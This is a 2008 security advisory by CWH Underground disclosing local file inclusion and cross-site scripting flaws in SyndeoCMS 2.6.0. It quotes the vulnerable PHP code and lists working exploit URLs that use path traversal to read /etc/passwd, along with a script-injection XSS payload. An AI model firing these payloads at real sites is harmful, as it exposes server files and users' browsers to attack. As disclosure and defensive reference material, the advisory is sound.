SecurityReason - Syndeo CMS 2.6.0 (LFI/XSS) Multiple Remote Vulnerabilities

Advisory Text :

===========================================================
SyndeoCMS 2.6.0 (LFI/XSS) Multiple Remote Vulnerabilities
===========================================================

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team
..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

AUTHOR : CWH Underground
DATE : 10 June 2008
SITE : www.citec.us

#####################################################
APPLICATION : SyndeoCMS
VERSION : 2.6.0 (Lastest Version)
DOWNLOAD : http://downloads.sourceforge.net/syndeocms
#####################################################

---LFI---

#################################################################
Vulnerable Code:
if (IsSet ($_GET['template']))
{
$template_path = ...;
$filename = $template_path . "/" . $_GET['template'];
if (file_exists($filename))
{
$handle = fopen($filename, "r");
$content = fread($handle, filesize($filename));
fclose($handle);
}
}
#################################################################

Vulnerable File:

[+] starnet/editors/fckeditor/studenteditor.php
[+] starnet/modules/sn_news/edit_content.php
[+] starnet/modules/sn_newsletter/edit_content.php

Exploit:

[+]
http://[target]/[path]/starnet/editors/fckeditor/studenteditor.php?template
=../../../../../../../../../etc/passwd
[+]
http://[target]/[path]/starnet/index.php?option=modulemanager&module=16&mod
option=edit_article&cat_id=1&article_id=0&template=../../../../../../../../
../../../../../etc/passwd
[+]
http://[target]/[path]/starnet/index.php?option=modulemanager&module=17&mod
option=edit_newsletter&newsletter_id=1&edition=1&template=../../../../../..
/../../../../../../../etc/passwd

Note: - the first link requires pupil session (normal student
session)
- the second link and the third link require admin session

---XSS---

[+] index.php

Example:

http://[target]/[path]/index.php?page=1&section="><script>alert(111);</scri
pt>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #
##################################################################

update:
see: http://www.syndeocms.org/forum/index.php?topic=1788.0